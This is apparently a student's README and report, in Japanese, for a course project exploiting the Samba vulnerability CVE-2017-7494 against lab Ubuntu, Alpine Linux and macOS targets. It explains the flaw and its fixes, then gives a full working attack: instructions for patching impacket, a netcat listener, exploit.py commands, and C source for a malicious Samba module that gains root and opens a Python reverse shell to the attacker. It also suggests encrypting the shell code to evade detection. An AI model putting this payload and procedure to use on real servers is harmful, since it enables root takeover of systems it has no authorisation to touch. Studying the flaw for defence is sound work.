Net Securityコースの最終課題としてCVE-2017-7494を悪用する。これにより、Linux上で管理者権限で動作するサービスの脆弱性が明らかになる。
CVE-2017-7494を利用したネットセキュリティコースの最終課題です。OS上で管理優先度で実行されるサービスの脆弱性を明らかにします。
このバグはmacOSとLinuxの両方で動作します。
攻撃を実行する前に、依存関係をダウンロードする必要があります。
/bin/bash install_requirement.sh
最も重要な依存関係の1つは、Python用のimpacketパッケージです。これによりSMB接続が機能します。
ただし、Sambaサーバーに悪意のあるモジュールをロードさせる有効なリクエストを構築するには、元のimpacketを変更する必要があります。
install_requirement.shのインストールでは、(私が変更した)変更バージョンをインストールするため、その点を心配する必要はなく、手動で変更する必要もありません。
ただし、impacketの新しいバージョンや別のバージョンを使用したい場合は、自分でそのパッケージを変更する必要があります。
impacket/impacket/smb3.pyに移動し、11154行目を修正して、次の2つの文をコメントアウトします:
# fileName = fileName.replace('/', '\\') コメントアウトする必要があります!
if len(fileName) > 0:
# fileName = ntpath.normpath(fileName) コメントアウトする必要があります!
if fileName[0] == '\\':
fileName = fileName[1:]
ターゲットを攻撃するには、2つのターミナルを開く必要があります。1つはnetcatでリバースシェルと対話し、もう1つはバグを利用します。
使用方法:
# 最初のターミナル:ncでリバースシェルを受信
$ nc -p 23333 -l
# 2番目のターミナル:ターゲットを攻撃
$ python3 ./exploit.py -lhost 192.168.71.136 --rhost 192.168.71.135
ターゲットがmacOSの場合、Linux上でモジュールをコンパイルしてはいけません!gccはMACH-O形式をサポートしていないためです。macユーザーの場合、macOSペイロードのコンパイルは機能します。
プリコンパイル済みバージョンがディレクトリ内にあります。mac_payload.soです。
-mフラグを使用して、exploit.pyにカスタマイズしたペイロードを使用することを知らせます。
python3 ./exploit.py -lhost 192.168.71.136 --rhost 192.168.71.135 -m mac_payload.so
sudo -H python3 -m pip uninstall impacket
詳細な手順は、私の最終課題として中国語で公開されます。中国語が理解できる方には、問題なくご利用いただけます。:)
—— CVE2017-7494 攻撃レポート
永遠の青(Eternal Blue)は2017年に甚大な被害をもたらしました。この攻撃はWindows SMBの仕組みを利用したワーム攻撃でした。SMBはWindows上で動作するサービスで、異なるホスト間でのファイル共有やリモートプロシージャコール(Remote Procedure Call , RPC)を可能にします。おそらく、こうした性質の機能が、しばしばハッカーの攻撃対象となる理由です。
OSカーネル自体の脆弱性は、Windowsであってもかなり少ないものであり、問題になるのは通常OS上で動作する様々なサービスです。これらのサービスは、OSのような厳格な仕様のもとで厳密にテストされたコードを持たない一方で、高い権限で動作するため、悪用できる機会が多く存在します。それでは、OSの基盤コンポーネントそのものを攻撃するのではなく、OS上の高権限サービスを攻撃することで、全体を陥落させることができるのでしょうか?OS単体ではカーネルに過ぎず、何もできません。様々なシステムサービスが動作することで、多様な機能が提供されるのです。OSの多くのサービスは、管理者権限で(デーモンとして)動作する必要があり、そのため、このような高権限サービスを攻略すれば、自然にシステムの管理者権限を取得でき、OS全体を陥落させることができます。
最終的に、私はSMBのオープンソース実装であるSambaに悪用可能な脆弱性、CVE2017-7494を見つけました。Windowsと同様に、ハッカーはSambaのリモートプロシージャコールを介してOSの管理者権限を取得し、ワームウイルスを構築してネットワーク上で攻撃を行う機会を得ることができます。
Linuxカーネルは、オープンソースによる安全性で知られています。一方、macOSはマイナーなシステムであり、そのためのウイルスが少ないため、安全であるという錯覚を与えがちです。そこで、この実験ではmacOSと異なる数種類のLinuxディストリビューションを攻撃対象とし、OSの脆弱性を明らかにします。すなわち、OSの設計が「どれほど安全に見えようとも」、アプリケーションのわずかな脆弱性によって陥落する可能性があるということです。
SambaはSMBと同等のサービスであるため、「Linux版の永遠の青」とも呼ばれることがありますが、技術的には両者には本質的な違いがあります:
今回の脆弱性は、主にsource3\rpc_server\srv_pipe.c内のbool is_known_pipename(const char *pipename, struct ndr_syntax_id *syntax)関数がsmb_probe_module()を呼び出す部分に起因しています:
bool is_known_pipename(const char *pipename, struct ndr_syntax_id *syntax)
{
...
//ここで問題が発生
status = smb_probe_module("rpc", pipename);
....
is_known_pipename()の上位関数np_open()は制御モジュールであり、RPCサービスリクエストのチェック後にis_known_pipename()を呼び出します。is_known_pipename()は名前からリモートパイプが既に登録されているかを判断するものですが、Samba 3.50以降で新機能が導入されました:smb_probe_module()を呼び出して動的モジュールをロードする機能です。この脆弱性は、まさにこのモジュールロード機能を利用して、自作の悪意のあるモジュールを呼び出すものです。
rpc pipeモジュールのロードには以下の呼び出しチェーンがあります:
is_known_pipename() - > smb_probe_module() -> do_smb_load_module() -> load_module()
Samba 3.5.0 ~ Samba 4.6.3 の間、関数do_smb_load_module()はRPCモジュールをロードするsmb_probe_module()と、自身のモジュールをロードする別のsmb_probe_module()で共有されていました。smb_load_module()は、既知のモジュール(VFSモジュールなど)をロードするためのもので、Samba自身の機能拡張として内部呼び出しされるべきものでした。一方、smb_probe_module()は、RPCリクエストからの可能性のあるモジュールをロードすることを意図していました。
NTSTATUS smb_probe_module(const char *subsystem, const char *module)
{
return do_smb_load_module(subsystem, module, true);
}
NTSTATUS smb_load_module(const char *subsystem, const char *module)
{
return do_smb_load_module(subsystem, module, false);
}
これら二つの異なる起源の関数で共有されるために(私の見解では絶対に共有すべきではないと思いますが)、do_smb_load_module()は「リクエストを解析してSMBサブシステム内でモジュールをロードする」方法と「絶対パスでモジュールをロードする」方法の両方を実装しています。
static NTSTATUS do_smb_load_module(const char *subsystem,
const char *module_name, bool is_probe)
{
...
/* Check for absolute path */
// 注釈の注釈:渡されたパスが本来絶対パスを与えるべきでないsmb_probe_module()からのものだが、smb_probe_module()が絶対パスを与えた場合、このチェックは無効になり、これが脆弱性の悪用原理です。
if (subsystem && module_name[0] != '/')
{
//本来はサブシステムに入り、SMBサブシステム→絶対パスの変換を行うべき
full_path = talloc_asprintf(ctx,"%s/%s.%s", modules_path(ctx, subsystem),module_name,shlib_ext());
...
}
else
{
//しかし、直接構築された絶対パスをロードしてしまう(ここを通る)
init = load_module(module_name, is_probe, &handle);
//これにより、initは「存在しないパイプのモジュール」に絶対パスからのモジュールを使用させる
}
//ここで直接悪意のあるコードの呼び出しに入る
status = init();
...
do_smb_load_module()は上位関数から渡されたパスがsmb_load_module由来かsmb_probe_module由来かを知らないため、偽造リクエストを構築する可能性が生じます:本来「サブシステム内部でロードされるモジュール」を「絶対パスのモジュールのロード」に変えることができます。そして、この絶対パスのモジュールがちょうど私たちが事前に定義した悪意のあるモジュールであれば、脆弱性の悪用に成功します。
偶然にも、Sambaはファイル転送をサポートするプロトコルであるため、悪意のあるモジュールを簡単にアップロードできます。同時に、DCEリクエストも絶対パスを問い合わせることをサポートしています。この2つの要素により、do_smb_load_module()を簡単に悪用し、絶対パスの悪意のあるモジュールをロードさせることができます。
悪用原理の図:

後のバージョンで、Sambaはこの脆弱性を修正しました。主にRPCリクエストで渡されるパイプ名のチェックを強化しています。
最初の修正はis_known_pipename()で行われ、strchrを使用してpipe名に/が含まれているかを検出し、含まれている場合はLinuxのパスをロードしようとしていると見なして禁止します。
bool is_known_pipename(const char *pipename, struct ndr_syntax_id *syntax)
{
NTSTATUS status;
//この行を追加して、絶対パスのモジュールがリクエストされるのを防ぐ
if (strchr(pipename, '/')) {
DEBUG(1, ("Refusing open on pipe %s\n", pipename));
return false;
}
...
2番目の修正はsmb_probe_module()で行われました(gitログによると4.70で追加)。元々の単純なdo_smb_load_module()の呼び出しに比べ、より細かいルールが追加されました:
NTSTATUS smb_probe_module(const char *subsystem, const char *module)
{
...
// 二重目の絶対パスチェック
if (strchr(module, '/')) {
status = NT_STATUS_INVALID_PARAMETER;
goto done;
}
....
done:
TALLOC_FREE(tmp_ctx);
return status;
}
さらなる防御が追加されました。また、モジュールをロードする関数もより細分化され、元のsmb_probe_module()とsmb_load_module()はsmb_probe_module()、smb_load_module()、smb_probe_module_absolute_path()に分割され、悪意のあるモジュールパスの検出が強化されました。
今回の実験のLinuxターゲットは、異なるLinuxディストリビューション(UbuntuとAlpine Linux)を使用し、Dockerを利用してSambaバージョン4.6.3より前、3.5.0以降のSambaサーバーを構築しました。Sambaはデーモンsmbdとして実行されます。
Alpine Linuxは、最近「軽量」かつ「安全」として注目されているLinuxです。現在一般的なLinuxとは異なり、glibcではなくmusl libcをC言語実行環境として採用し、特別なbusyboxをコマンドラインツールとして使用します。一般に、再コンパイルやコード変更なしでは、通常のLinuxソフトウェアはその上で動作しません。そのため、GNUライブラリを使用するLinuxへの攻撃はAlpine Linuxには効かないという考えを生みやすいです。
さらに、この実験ではmacOSへの攻撃も行いました。これはもう1つの錯覚を生みやすいシステムです。macOSには能動的なセキュリティ対策はありませんが、それに対する攻撃が少ないため、主流の見解では「macOSにはウイルスが存在しない」と考えられがちです。
以上のように、複数の異なるシステムを設定し、バッファオーバーフロー以外のプログラミングロジックの脆弱性を悪用する実験方法で、以下の事実を明らかにします:
LinuxのSambaはDockerを使用して迅速にデプロイし、dockerhubで十分に古いバージョンのイメージを見つける必要があります。UbuntuのSambaはrootlogin/sambaから、Alpine LinuxのSambaはservercontainers/samba:4.6.3から取得します。コンテナの共有パスを設定すれば完了です。
macOSのバージョンは11.3 Big Surを使用しました。
macOSはサーバー用途として使用されることがほとんどないため、プリコンパイルされた古いバージョンのSambaは提供されていません。そのため、自分で古いバージョンのSambaをコンパイルする必要があります。
次のコマンドを使用:
git clone https://github.com/samba-team/samba.git
Sambaをクローンした後、gitのcheckout機能で4.6.3バージョンに戻します。
11811 – compile error on Mac OS X 10.11 error: field has incomplete type 'struct timespec' LOADPARM_EXTRA_LOCALS (samba.org) および [11984 – failed to compile on Mac OS X. (samba.org)](https://bugzilla.samba.org/show_bug.cgi?id=11984#:~:text= It can be,param%2Floadparam.h) の記録によると、macOSバージョンのSambaにはコンパイル問題があります。後のバージョンでは修正されていますが、古いバージョンでは手動でコンパイルパッチを適用する必要があります:
curl -fsSL https://willhaley.com/assets/compile-samba-macos/nss.diff | git apply -
同時に、lib/param/loadparm.hに#include <time.h>をヘッダーファイルとして追加する必要があります。
最後に、コンパイルに必要な依存関係を解決した後、macOSバージョンのSambaをコンパイル、インストール、実行します。
今回の実験では、pythonを使用してターゲットを攻撃し、impacketパッケージを使用してSMB操作を行います。
攻撃の大まかな流れは以下の通りです:
悪意のあるペイロードの主な機能:
これにより、リモートサーバーの制御権を取得します。
コード:
#include <stdio.h>
#include <unistd.h>
#include <sys/stat.h>
#include <stdbool.h>
#include "config.h"
#define COMMAND "import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\""IP"\","PORT"));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);"
static void CreateReverseShell()
{
pid_t pid;
pid = fork(); // サブプロセスを使用してメインのSambaプロセスから切り離す
if (pid == 0)
{
umask(0);
chdir("/");
execl("/usr/bin/python", "python", "-c", (COMMAND), NULL); // Pythonを使用してTCP接続を作成し、リバースシェルをセットアップ
}
}
#ifdef __linux__
extern bool become_root(void);
#endif
// Sambaがモジュールをロードするとき、この関数が自動的にエントリポイントとして呼び出される
int samba_init_module(void)
{
// 文字列: YOU ARE HACKED
printf("__ __ ___ __ __ __ __\n\\ \\/ /___ __ __ / | ________ / / / /___ ______/ /_____ ____/ /\n \\ / __ \\/ / / / / /| | / ___/ _ \\ / /_/ / __ `/ ___/ //_/ _ \\/ __ / \n / / /_/ / /_/ / / ___ |/ / / __/ / __ / /_/ / /__/ ,< / __/ /_/ / \n/_/\\____/\\__,_/ /_/ |_/_/ \\___/ /_/ /_/\\__,_/\\___/_/|_|\\___/\\__,_/ \n");
#ifdef __linux__
become_root();
#endif
CreateReverseShell();
return 0;
}
ここで、samba_init_module()はSambaがモジュールロード関数を呼び出した後のエントリポイントで、悪意のあるコードのエントリポイントとして使用できます。
printfで出力される長い文字列はYOU ARE HACKERのアスキーアートです:
__ __ ___ __ __ __ __
\ \/ /___ __ __ / | ________ / / / /___ ______/ /_____ ____/ /
\ / __ \/ / / / / /| | / ___/ _ \ / /_/ / __ `/ ___/ //_/ _ \/ __ /
/ / /_/ / /_/ / / ___ |/ / / __/ / __ / /_/ / /__/ ,< / __/ /_/ /
/_/\____/\__,_/ /_/ |_/_/ \___/ /_/ /_/\__,_/\___/_/|_|\___/\__,_/
娯楽目的です。
become_root()関数はSambaの関数で、extern宣言で呼び出し可能にしています。
become_rootを使用しなくてもroot権限でリバースシェルに入ることができます。また、現在のAppleシステムではコンパイル時にexternが機能せず、リンカに問題が発生する場合があります。原因は不明ですが、ifdefでAppleシステムを回避しています。関数CreateReverseShell()はリバースシェルプロセスをメインプロセスから分離し、バックドア効果を実現します。
今回のリバースシェルのペイロードはpythonを使用して作成し、execlでpythonスクリプトを実行しています。C言語バージョンを使用しなかった理由は以下の通りです:
execlの検出能力を持っていると推測しました。eval()関数を提供します。リバースシェルを開くスクリプトを暗号化し、実行時に復号してからeval()で悪意のあるペイロードを実行することで、前述のセキュリティシステムの検出を回避できます。
macOSバージョンの悪意のあるペイロードは、macOSのclangでコンパイルする必要があります。LinuxのgccはMACH-O形式の実行可能ファイルをサポートしていないためです。また、コンパイル時にmacの.dylib拡張子を指定する必要はなく、.so拡張子でコンパイルすれば問題ありません。
python攻撃スクリプトはpython3.7を実行環境として使用し、主に以下の流れです:
エントリポイントではOptionsを使用して解析し、ユーザーがプリコンパイル済みモジュールを提供する場合は、再コンパイルせずに既存のモジュールを使用します。そうでない場合は、lhostとlportパラメータを使用して新しいモジュールをコンパイルし、リバースシェルが攻撃者に接続するようにします。
悪意のあるパスを使用するため、元のimpacketパッケージを一部修正して、Sambaサーバーに必要なリクエストを送信できるようにする必要があります。
impacket/impacket/smb3.pyの11154行目にある2つの文をコメントアウトします:
# fileName = fileName.replace('/', '\\') コメントアウトする必要があります!
if len(fileName) > 0:
# fileName = ntpath.normpath(fileName) コメントアウトする必要があります!
if fileName[0] == '\\':
fileName = fileName[1:]
これにより、「絶対パスの悪意のあるモジュール」のロードが可能になります。
ログイン、ファイルアップロード、悪意のあるモジュールのロードは、いずれもimpacketパッケージが提供する機能であるため、詳細は省略します。
攻撃前に、netcatでリバースシェルを待ち受けます:
nc -p 23333 -l
次に、次のコマンドを実行:
python3 ./exploit.py -lhost 192.168.71.136 --rhost 192.168.71.135 -m payload.so
これにより、上記のpythonスクリプトが自動的に実行され、netcatのウィンドウからroot権限のリバースシェルが取得でき、リモートサーバーの制御権を獲得できます。
Ubuntuへの攻撃:

Alpine Linuxへの攻撃:

macOSへの攻撃:

WindowsからmacOSに侵入し、スクリプトを実行:

scanf_s、strSafeや「バッファオーバーフローが起こりにくい安全な言語」だけでは全ての問題を解決できず、悪用可能な脆弱性は予期しない場所に現れる可能性があります。